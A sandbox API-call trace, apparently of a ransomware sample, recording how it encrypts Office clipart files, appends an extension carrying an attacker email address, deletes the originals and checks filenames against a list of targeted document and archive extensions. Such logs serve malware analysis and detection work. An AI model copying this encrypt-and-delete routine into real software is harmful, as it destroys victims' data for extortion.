[0209.396] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 1 [0209.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0209.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0209.396] lstrlenW (lpString=".doc") returned 4 [0209.396] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.396] lstrlenW (lpString=".docx") returned 5 [0209.396] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0209.396] lstrlenW (lpString=".pdf") returned 4 [0209.396] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.396] lstrlenW (lpString=".xls") returned 4 [0209.396] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.396] lstrlenW (lpString=".xlsx") returned 5 [0209.396] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0209.396] lstrlenW (lpString=".ppt") returned 4 [0209.396] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0209.397] lstrlenW (lpString=".zip") returned 4 [0209.397] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.397] lstrlenW (lpString=".rar") returned 4 [0209.397] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.397] lstrlenW (lpString=".bz2") returned 4 [0209.397] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.397] lstrlenW (lpString=".7z") returned 3 [0209.397] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0209.397] lstrlenW (lpString=".dbf") returned 4 [0209.397] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0209.397] lstrlenW (lpString=".1cd") returned 4 [0209.397] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0209.397] lstrlenW (lpString=".jpg") returned 4 [0209.397] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.397] GetLastError () returned 0x0 [0209.397] ReadFile (in: hFile=0x388, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xda6, lpOverlapped=0x0) returned 1 [0209.399] WriteFile (in: hFile=0x300, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xdb0, lpOverlapped=0x0) returned 1 [0209.400] ReadFile (in: hFile=0x388, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.400] WriteFile (in: hFile=0x300, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.400] SetEndOfFile (hFile=0x300) returned 1 [0209.401] CloseHandle (hObject=0x300) returned 1 [0209.401] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.401] SetEndOfFile (hFile=0x388) returned 1 [0209.401] CloseHandle (hObject=0x388) returned 1 [0209.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0209.401] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 1 [0209.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0209.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0209.401] lstrlenW (lpString=".doc") returned 4 [0209.401] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.402] lstrlenW (lpString=".docx") returned 5 [0209.402] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0209.402] lstrlenW (lpString=".pdf") returned 4 [0209.402] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.402] lstrlenW (lpString=".xls") returned 4 [0209.402] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.402] lstrlenW (lpString=".xlsx") returned 5 [0209.402] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0209.402] lstrlenW (lpString=".ppt") returned 4 [0209.402] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0209.402] lstrlenW (lpString=".zip") returned 4 [0209.402] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.402] lstrlenW (lpString=".rar") returned 4 [0209.402] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.402] lstrlenW (lpString=".bz2") returned 4 [0209.402] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.402] lstrlenW (lpString=".7z") returned 3 [0209.402] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0209.402] lstrlenW (lpString=".dbf") returned 4 [0209.402] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0209.402] lstrlenW (lpString=".1cd") returned 4 [0209.402] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0209.402] lstrlenW (lpString=".jpg") returned 4 [0209.402] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.175] GetLastError () [0210.175] GetLastError () returned 0x0 [0210.175] ReadFile (in: hFile=0x354, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x3a94, lpOverlapped=0x0) returned 1 [0210.325] WriteFile (in: hFile=0x364, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x3aa0, lpOverlapped=0x0) returned 1 [0210.326] ReadFile (in: hFile=0x354, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.326] WriteFile (in: hFile=0x364, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.326] SetEndOfFile (hFile=0x364) returned 1 [0210.329] CloseHandle (hObject=0x364) returned 1 [0210.329] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.329] SetEndOfFile (hFile=0x354) returned 1 [0210.334] CloseHandle (hObject=0x354) returned 1 [0210.334] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0210.335] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 1 [0210.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0210.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0210.335] lstrlenW (lpString=".doc") returned 4 [0210.335] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.335] lstrlenW (lpString=".docx") returned 5 [0210.335] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0210.335] lstrlenW (lpString=".pdf") returned 4 [0210.335] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.335] lstrlenW (lpString=".xls") returned 4 [0210.335] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.335] lstrlenW (lpString=".xlsx") returned 5 [0210.335] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0210.335] lstrlenW (lpString=".ppt") returned 4 [0210.335] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0210.336] lstrlenW (lpString=".zip") returned 4 [0210.336] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.336] lstrlenW (lpString=".rar") returned 4 [0210.336] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.336] lstrlenW (lpString=".bz2") returned 4 [0210.336] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.336] lstrlenW (lpString=".7z") returned 3 [0210.336] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0210.336] lstrlenW (lpString=".dbf") returned 4 [0210.336] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0210.336] lstrlenW (lpString=".1cd") returned 4 [0210.336] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0210.336] lstrlenW (lpString=".jpg") returned 4 [0210.336] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.337] GetLastError () returned 0x0 [0210.337] ReadFile (in: hFile=0x354, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x8d6, lpOverlapped=0x0) returned 1 [0210.456] WriteFile (in: hFile=0x35c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x8e0, lpOverlapped=0x0) returned 1 [0210.457] ReadFile (in: hFile=0x354, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.457] WriteFile (in: hFile=0x35c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.457] SetEndOfFile (hFile=0x35c) returned 1 [0210.457] CloseHandle (hObject=0x35c) returned 1 [0210.457] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.457] SetEndOfFile (hFile=0x354) returned 1 [0210.458] CloseHandle (hObject=0x354) returned 1 [0210.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0210.459] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 1 [0210.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0210.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0210.459] lstrlenW (lpString=".doc") returned 4 [0210.459] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.459] lstrlenW (lpString=".docx") returned 5 [0210.459] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0210.459] lstrlenW (lpString=".pdf") returned 4 [0210.459] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.459] lstrlenW (lpString=".xls") returned 4 [0210.459] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.459] lstrlenW (lpString=".xlsx") returned 5 [0210.459] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0210.459] lstrlenW (lpString=".ppt") returned 4 [0210.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0210.459] lstrlenW (lpString=".zip") returned 4 [0210.460] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.460] lstrlenW (lpString=".rar") returned 4 [0210.460] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.460] lstrlenW (lpString=".bz2") returned 4 [0210.460] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.460] lstrlenW (lpString=".7z") returned 3 [0210.460] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0210.460] lstrlenW (lpString=".dbf") returned 4 [0210.460] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0210.460] lstrlenW (lpString=".1cd") returned 4 [0210.460] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0210.460] lstrlenW (lpString=".jpg") returned 4 [0210.460] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.460] GetLastError () returned 0x0 [0210.460] ReadFile (in: hFile=0x354, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xc18a, lpOverlapped=0x0) returned 1 [0211.952] WriteFile (in: hFile=0x35c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xc190, lpOverlapped=0x0) returned 1 [0211.954] ReadFile (in: hFile=0x354, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.954] WriteFile (in: hFile=0x35c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0211.954] SetEndOfFile (hFile=0x35c) returned 1 [0211.954] CloseHandle (hObject=0x35c) returned 1 [0211.954] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.954] SetEndOfFile (hFile=0x354) returned 1 [0211.955] CloseHandle (hObject=0x354) returned 1 [0211.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0211.956] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 1 [0211.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0211.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0211.956] lstrlenW (lpString=".doc") returned 4 [0211.956] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.956] lstrlenW (lpString=".docx") returned 5 [0211.956] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0211.956] lstrlenW (lpString=".pdf") returned 4 [0211.956] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.956] lstrlenW (lpString=".xls") returned 4 [0211.956] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.956] lstrlenW (lpString=".xlsx") returned 5 [0211.956] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0211.956] lstrlenW (lpString=".ppt") returned 4 [0211.956] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0211.956] lstrlenW (lpString=".zip") returned 4 [0211.956] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.956] lstrlenW (lpString=".rar") returned 4 [0211.956] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.956] lstrlenW (lpString=".bz2") returned 4 [0211.956] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.957] lstrlenW (lpString=".7z") returned 3 [0211.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0211.957] lstrlenW (lpString=".dbf") returned 4 [0211.957] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0211.957] lstrlenW (lpString=".1cd") returned 4 [0211.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0211.957] lstrlenW (lpString=".jpg") returned 4 [0211.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.218] GetLastError () returned 0x0 [0212.218] ReadFile (in: hFile=0x358, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x2040, lpOverlapped=0x0) returned 1 [0212.582] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x2050, lpOverlapped=0x0) returned 1 [0212.583] ReadFile (in: hFile=0x358, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0212.583] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0212.583] SetEndOfFile (hFile=0x354) returned 1 [0212.583] CloseHandle (hObject=0x354) returned 1 [0212.583] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.583] SetEndOfFile (hFile=0x358) returned 1 [0212.584] CloseHandle (hObject=0x358) returned 1 [0212.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0212.585] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 1 [0212.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0212.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0212.585] lstrlenW (lpString=".doc") returned 4 [0212.585] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.585] lstrlenW (lpString=".docx") returned 5 [0212.585] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0212.585] lstrlenW (lpString=".pdf") returned 4 [0212.585] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.585] lstrlenW (lpString=".xls") returned 4 [0212.585] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.585] lstrlenW (lpString=".xlsx") returned 5 [0212.585] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0212.585] lstrlenW (lpString=".ppt") returned 4 [0212.585] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0212.586] lstrlenW (lpString=".zip") returned 4 [0212.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.586] lstrlenW (lpString=".rar") returned 4 [0212.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.586] lstrlenW (lpString=".bz2") returned 4 [0212.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.586] lstrlenW (lpString=".7z") returned 3 [0212.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0212.586] lstrlenW (lpString=".dbf") returned 4 [0212.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0212.586] lstrlenW (lpString=".1cd") returned 4 [0212.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0212.586] lstrlenW (lpString=".jpg") returned 4 [0212.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.586] GetLastError () returned 0x0 [0212.587] ReadFile (in: hFile=0x358, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xb10, lpOverlapped=0x0) returned 1 [0213.838] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xb20, lpOverlapped=0x0) returned 1 [0217.403] ReadFile (in: hFile=0x358, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0217.403] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0217.403] SetEndOfFile (hFile=0x354) returned 1 [0217.489] CloseHandle (hObject=0x354) returned 1 [0217.489] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0217.489] SetEndOfFile (hFile=0x358) returned 1 [0217.489] CloseHandle (hObject=0x358) returned 1 [0217.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0217.490] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00256_.wmf")) returned 1 [0217.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0217.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0217.490] lstrlenW (lpString=".doc") returned 4 [0217.490] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.490] lstrlenW (lpString=".docx") returned 5 [0217.490] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.490] lstrlenW (lpString=".pdf") returned 4 [0217.490] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.490] lstrlenW (lpString=".xls") returned 4 [0217.490] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.490] lstrlenW (lpString=".xlsx") returned 5 [0217.490] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.491] lstrlenW (lpString=".ppt") returned 4 [0217.491] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00256_.WMF") returned 68 [0217.491] lstrlenW (lpString=".zip") returned 4 [0217.491] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.491] lstrlenW (lpString=".rar") returned 4 [0217.491] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.491] lstrlenW (lpString=".bz2") returned 4 [0217.491] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.491] lstrlenW (lpString=".7z") returned 3 [0217.491] lstrcmpiW 